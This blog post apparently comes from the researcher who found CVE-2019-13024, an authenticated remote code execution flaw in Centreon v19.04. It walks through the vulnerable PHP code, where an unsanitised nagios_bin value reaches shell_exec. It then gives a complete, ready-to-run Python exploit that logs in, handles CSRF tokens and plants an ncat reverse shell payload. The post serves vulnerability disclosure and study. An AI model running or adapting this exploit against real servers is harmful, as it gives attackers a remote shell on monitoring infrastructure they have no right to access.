Summary about Centreon
Centreon is a free and open source infrastructure monitoring software, Centreon allows the system administrators to monitor their infrastructure from a centralized web application, Centreon has become the number 1 open source solution for enterprise monitoring in Europe.
About the exploit
The exploitation triggers by adding an arbitrary command in the nagios_bin parameter when setup a new configuration or update configuration for a poller, the attacker can control some parameters which are passed to updateServer function on DB-Func.php line #506, this function should update some values and add them to the database, so we can control a user input called nagion_bin from the configuration page and inject our malicious code into it, this parameter is processed in line #551, this parameter will be called from the database and passed to shell_exec function line #212 on generateFiles.php file, so we can call the generateFiles.php later on to trigger the payload.
During the analysis of Centreon code, I decided to hunt for RCE because I found a lot of functionalities that deal with operating system commands, So I started to list all unsafe functions using a very simple python script I wrote.
The initial result was containing a large number of functions that use “shell_exec, popen, system” functions, and after some analysis I noticed that there is potential RCE in a function called printDebug in include/configuration/configGenerate/xml/generateFiles.php line #211:
189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 | function printDebug( $xml , $tabs ) { global $pearDB , $ret , $centreon , $nagiosCFGPath ; $DBRESULT_Servers = $pearDB ->query( "SELECT `nagios_bin` FROM `nagios_server` " . "WHERE `localhost` = '1' ORDER BY ns_activate DESC LIMIT 1" ); $nagios_bin = $DBRESULT_Servers ->fetch(); $DBRESULT_Servers ->closeCursor(); $msg_debug = array (); $tab_server = array (); foreach ( $tabs as $tab ) { if (isset( $ret [ "host" ]) && ( $ret [ "host" ] == 0 || in_array( $tab [ 'id' ], $ret [ "host" ]))) { $tab_server [ $tab [ "id" ]] = array ( "id" => $tab [ "id" ], "name" => $tab [ "name" ], "localhost" => $tab [ "localhost" ] ); } } foreach ( $tab_server as $host ) { $stdout = shell_exec( $nagios_bin [ "nagios_bin" ] . " -v " . $nagiosCFGPath . $host [ "id" ] . "/centengine.DEBUG 2>&1" ); |
As we can see in line #211 we have some variables passed to shell_exec function without being sanitized, the variable $nagios_bin[“nagios_bin”] passed to the function after being called from the database, and we can see in line #193,194 that the query has been made to extract some information and one of them are the $nagios_bin[“nagios_bin”] variable.
Now we need to know how we can control this value and how we can trigger the printDebug function in order to execute our payload.
If we took a look at include/configuration/configServers/DB-Func.php line #550 we can see that the file handles updating some values in the database and one of them are out target “nagios_bin” being inserted without filtering as the following:
506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 | function updateServer(int $id , $data ): void { global $pearDB , $centreon ; if ( $data [ "localhost" ][ "localhost" ] == 1) { $pearDB ->query( "UPDATE `nagios_server` SET `localhost` = '0'" ); } if ( $data [ "is_default" ][ "is_default" ] == 1) { $pearDB ->query( "UPDATE `nagios_server` SET `is_default` = '0'" ); } $rq = "UPDATE `nagios_server` SET " ; isset( $data [ "name" ]) && $data [ "name" ] != null ? $rq .= "name = '" . htmlentities( $data [ "name" ], ENT_QUOTES, "UTF-8" ) . "', " : $rq .= "name = NULL, " ; isset( $data [ "localhost" ][ "localhost" ]) && $data [ "localhost" ][ "localhost" ] != null ? $rq .= "localhost = '" . htmlentities( $data [ "localhost" ][ "localhost" ], ENT_QUOTES, "UTF-8" ) . "', " : $rq .= "localhost = NULL, " ; isset( $data [ "ns_ip_address" ]) && $data [ "ns_ip_address" ] != null ? $rq .= "ns_ip_address = '" . htmlentities(trim( $data [ "ns_ip_address" ]), ENT_QUOTES, "UTF-8" ) . "', " : $rq .= "ns_ip_address = NULL, " ; isset( $data [ "ssh_port" ]) && $data [ "ssh_port" ] != null ? $rq .= "ssh_port = '" . htmlentities(trim( $data [ "ssh_port" ]), ENT_QUOTES, "UTF-8" ) . "', " : $rq .= "ssh_port = '22', " ; isset( $data [ "init_system" ]) && $data [ "init_system" ] != null ? $rq .= "init_system = '" . htmlentities(trim( $data [ "init_system" ]), ENT_QUOTES, "UTF-8" ) . "', " : $rq .= "init_system = NULL, " ; isset( $data [ "init_script" ]) && $data [ "init_script" ] != null ? $rq .= "init_script = '" . htmlentities(trim( $data [ "init_script" ]), ENT_QUOTES, "UTF-8" ) . "', " : $rq .= "init_script = NULL, " ; isset( $data [ "init_script_centreontrapd" ]) && $data [ "init_script_centreontrapd" ] != null ? $rq .= "init_script_centreontrapd = '" . htmlentities( trim( $data [ "init_script_centreontrapd" ]), ENT_QUOTES, "UTF-8" ) . "', " : $rq .= "init_script_centreontrapd = NULL, " ; isset( $data [ "snmp_trapd_path_conf" ]) && $data [ "snmp_trapd_path_conf" ] != null ? $rq .= "snmp_trapd_path_conf = '" . htmlentities( trim( $data [ "snmp_trapd_path_conf" ]), ENT_QUOTES, "UTF-8" ) . "', " : $rq .= "snmp_trapd_path_conf = NULL, " ; isset( $data [ "nagios_bin" ]) && $data [ "nagios_bin" ] != null ? $rq .= "nagios_bin = '" . htmlentities(trim( $data [ "nagios_bin" ]), ENT_QUOTES, "UTF-8" ) . "', " : $rq .= "nagios_bin = NULL, " ; |
As we can see it just filter the data using htmlentities only , which means we can inject system commands without problem and in theory we can get a shell !
of course we cannot insert the characters that is being filter by htmlentites but we still execute a onliner to get a shell.
The input for this function was processed by another file called formServers.php located in include/configuration/configServers/formServers.php and the line which call this function and pass the form submitted data is line #300 like the following:
294 295 296 297 298 299 300 301 302 303 304 305 306 307 | if ( $form ->validate()) { $nagiosObj = $form ->getElement( 'id' ); if ( $form ->getSubmitValue( "submitA" )) { insertServerInDB( $form ->getSubmitValues()); } elseif ( $form ->getSubmitValue( "submitC" )) { updateServer( (int) $nagiosObj ->getValue(), $form ->getSubmitValues() ); } $o = null; $valid = true; } |
The getSubmitValues() function handles the POST requests sent via the update configuration form.
To understand the code in better way, I used burp to achieve that by playing with the request and see how I can deal with the required value.

And in burp we can see the following request after submitting it :

And as we can see the request contains nagion_bin which is the one we want to control, and for a debugging purposes I will edit the file generateFiles.php to echo the value of nagion_bin to make sure that we are inserting the correct value that will be inserted and called from the database, and the result was like the following:

After sending the request we will get the following:

We are right ! we got the testpath value printed out ! so we just have to inject a command to get it executed, but first lets find the right format to inject our payload, back to line #212 on generateFiles.php , we can find that our command is inserted in the first of the line which means we can insert it directly and comment out the rest of the line by using #, and the final payload should be simply “command #”.
lets try to inject the command id # and see what will happen !

Great ! we got our command executed !
Exploit writing
After confirming the RCE I want to write an exploit code in python to automate the exploitation process and give you a shell with one click, The exploit writing phase was very fun part to me, and here is the full exploit code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 | #!/usr/bin/python ''' # Exploit Title: Centreon v19.04 authenticated Remote Code Execution # Date: 28/06/2019 # Exploit Author: Askar (@mohammadaskar2) # CVE : CVE-2018-20434 # Vendor Homepage: https://www.centreon.com/ # Software link: https://download.centreon.com # Version: v19.04 # Tested on: CentOS 7.6 / PHP 5.4.16 ''' import requests import sys import warnings from bs4 import BeautifulSoup # turn off BeautifulSoup warnings warnings.filterwarnings( "ignore" , category = UserWarning, module = 'bs4' ) if len (sys.argv) ! = 6 : print ( len (sys.argv)) print ( "[~] Usage : ./centreon-exploit.py url username password ip port" ) exit() url = sys.argv[ 1 ] username = sys.argv[ 2 ] password = sys.argv[ 3 ] ip = sys.argv[ 4 ] port = sys.argv[ 5 ] request = requests.session() print ( "[+] Retrieving CSRF token to submit the login form" ) page = request.get(url + "/index.php" ) html_content = page.text soup = BeautifulSoup(html_content) token = soup.findAll( 'input' )[ 3 ].get( "value" ) login_info = { "useralias" : username, "password" : password, "submitLogin" : "Connect" , "centreon_token" : token } login_request = request.post(url + "/index.php" , login_info) print ( "[+] Login token is : {0}" . format (token)) if "Your credentials are incorrect." not in login_request.text: print ( "[+] Logged In Sucssfully" ) print ( "[+] Retrieving Poller token" ) poller_configuration_page = url + "/main.get.php?p=60901" get_poller_token = request.get(poller_configuration_page) poller_html = get_poller_token.text poller_soup = BeautifulSoup(poller_html) poller_token = poller_soup.findAll( 'input' )[ 24 ].get( "value" ) print ( "[+] Poller token is : {0}" . format (poller_token)) payload_info = { "name" : "Central" , "ns_ip_address" : "127.0.0.1" , # this value should be 1 always "localhost[localhost]" : "1" , "is_default[is_default]" : "0" , "remote_id" : "", "ssh_port" : "22" , "init_script" : "centengine" , # this value contains the payload , you can change it as you want "nagios_bin" : "ncat -e /bin/bash {0} {1} #" . format (ip, port), "nagiostats_bin" : "/usr/sbin/centenginestats" , "nagios_perfdata" : "/var/log/centreon-engine/service-perfdata" , "centreonbroker_cfg_path" : "/etc/centreon-broker" , "centreonbroker_module_path" : "/usr/share/centreon/lib/centreon-broker" , "centreonbroker_logs_path" : "", "centreonconnector_path" : "/usr/lib64/centreon-connector" , "init_script_centreontrapd" : "centreontrapd" , "snmp_trapd_path_conf" : "/etc/snmp/centreon_traps/" , "ns_activate[ns_activate]" : "1" , "submitC" : "Save" , "id" : "1" , "o" : "c" , "centreon_token" : poller_token, } send_payload = request.post(poller_configuration_page, payload_info) print ( "[+] Injecting Done, triggering the payload" ) print ( "[+] Check your netcat listener !" ) generate_xml_page = url + "/include/configuration/configGenerate/xml/generateFiles.php" xml_page_data = { "poller" : "1" , "debug" : "true" , "generate" : "true" , } request.post(generate_xml_page, xml_page_data) else : print ( "[-] Wrong credentials" ) exit() |
and you can find the full exploit code here.
The application handles every request with a token to protect against CSRF, so I have to handle this issue using BeautifulSoup to read the CSRF token before sending the requests which was a great part !
And after running the exploit, we popped a shell !

2 Replies to “Centreon v19.04 Remote Code Execution (CVE-2019-13024)”